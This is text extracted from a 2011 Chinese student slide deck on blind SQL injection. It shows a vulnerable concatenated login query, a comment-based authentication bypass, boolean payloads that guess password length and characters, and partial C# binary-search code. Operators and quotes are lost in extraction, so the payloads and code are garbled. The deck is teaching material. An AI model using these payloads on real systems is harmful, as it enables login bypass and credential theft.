web安全BlindSQLInj.ppt

1,SQL Blind Injection,小組成員：李昌華、肖箭、覃歡 2011-11-04,2,目錄,3,目錄,當(dāng)一個(gè)攻擊者通過(guò)在查詢語(yǔ)句中插入一系列的SQL語(yǔ)句來(lái)將數(shù)據(jù)寫入到應(yīng)用程序中,從一個(gè)數(shù)據(jù)庫(kù)獲得未經(jīng)授權(quán)的訪問和直接檢索.通過(guò)構(gòu)造一些畸形的輸入，攻擊者能夠操作這種請(qǐng)求語(yǔ)句去獲取預(yù)先未知的結(jié)果。,一、SQL Blind Injection,基本的句法的過(guò)程即通過(guò)標(biāo)準(zhǔn)的SELECT WHERE語(yǔ)句，被注入的參數(shù)（即注入點(diǎn)）就是WHERE語(yǔ)句的一部分。為了確定正確的注入句法，攻擊者必須能夠在最初的WHERE語(yǔ)句后添加其他數(shù)據(jù)，使其能返回非預(yù)期的結(jié)果。對(duì)一些簡(jiǎn)單的應(yīng)用程序，僅僅加上OR 1=1就可以完成，但在大多數(shù)情況下如果想構(gòu)造出成功的利用代碼，這樣做當(dāng)然是不夠的。經(jīng)常需要解決的問題是如何配對(duì)插入語(yǔ)符號(hào)（parenthesis，比如成對(duì)的括號(hào)），使之能與前面的已使用的符號(hào)，比如左括號(hào)匹配。 對(duì)于一些注入利用，僅僅改變WHERE語(yǔ)句就足夠了，但對(duì)于其他情況，比如UNION SELECT注入或存儲(chǔ)過(guò)程（stored procedures）注入，還需要能先順利地結(jié)束整個(gè)SQL請(qǐng)求語(yǔ)句，然后才能添加其他攻擊者所需要的SQL語(yǔ)句。在這種情況下，攻擊者可以選擇使用SQL注釋符號(hào)來(lái)結(jié)束語(yǔ)句，該符號(hào)是兩個(gè)連續(xù)的破折號(hào)（-），它要求SQL Server忽略其后同一行的所有輸入。例如，一個(gè)登錄頁(yè)面需要訪問者輸入用戶名和密碼，并將其提交給SQL請(qǐng)求語(yǔ)句： SELECT Username, UserID, Password FROM Users WHERE Username = user AND Password = pass 通過(guò)輸入john-作為用戶名，將會(huì)構(gòu)造出以下WHERE語(yǔ)句： WHERE Username = john -AND Password = pass 這時(shí)，該語(yǔ)句不但符合SQL語(yǔ)法，而且還使用戶跳過(guò)了密碼認(rèn)證,二、常見的攻擊方法,確定注入點(diǎn),構(gòu)造正確的 注入語(yǔ)句,獲得預(yù)期結(jié)果,三、攻擊步驟,定位漏洞,非授權(quán)訪問,實(shí)施攻擊,四、程序,原始查詢語(yǔ)句（網(wǎng)頁(yè)的源文件） string sqlSel = “select count(*) from tb_userInfo where userName=“ + txtUserName.Text + “ and userPass=“+pass+“; 1.猜測(cè)賬戶名： 輸入任意賬戶測(cè)試 如200808 密碼非空隨便輸 驗(yàn)證碼,2.猜測(cè)到手的賬戶對(duì)應(yīng)的密碼長(zhǎng)度： 200808 and exists(select userName from tb_userInfo where len(userPass)6 and userName=200808)- 密碼非空隨便輸 驗(yàn)證碼,3.猜測(cè)到手的賬戶對(duì)應(yīng)的密碼（逐位的判斷） 200808 and (select ASCII(SUBSTRING(userPass,1,1) from tb_userInfo where userName=200808) 97 -,四、步驟和SQL語(yǔ)句,二分法可以使得測(cè)試長(zhǎng)度的結(jié)果收斂的更快,二分查找的代碼,快速猜測(cè) 程序,protect int getPasswordLen(int MaxPassLen,int MinPasstLen) /創(chuàng)建數(shù)據(jù)庫(kù)連接 SqlConnection con = new SqlConnection(“server=.;database=WebSecurityHomeWork;uid=sa;pwd=123;“); /打開數(shù)據(jù)庫(kù)連接 con.Open(); string basesql=“200808 and exists(select userName from tb_userInfo where len(userPass)“; string endsql=“ and userName=200808)-“; while() int currentLen=(MaxPassLen+MinPassLen)/2; string sqlSel=basesql+“=“+currentLen.toString()+endsql; /創(chuàng)建SqlCommand對(duì)象 SqlCommand com = new SqlCommand(sqlSel, con); if(Convert.ToInt32(com.ExecuteScalar() 0) return currentLen; /創(chuàng)建SqlCommand對(duì)象 SqlCommand com1 = new SqlCommand(sqlSel, con); sqlSel=basesql+“+currentLen.toString()+endsql; if(Convert.ToInt32(com.ExecuteScalar() 0) MinPasstLen=(currentLen+1+MaxPassLen)/2; getPasswordLen(int MaxPassLen,int MinPasstLen); el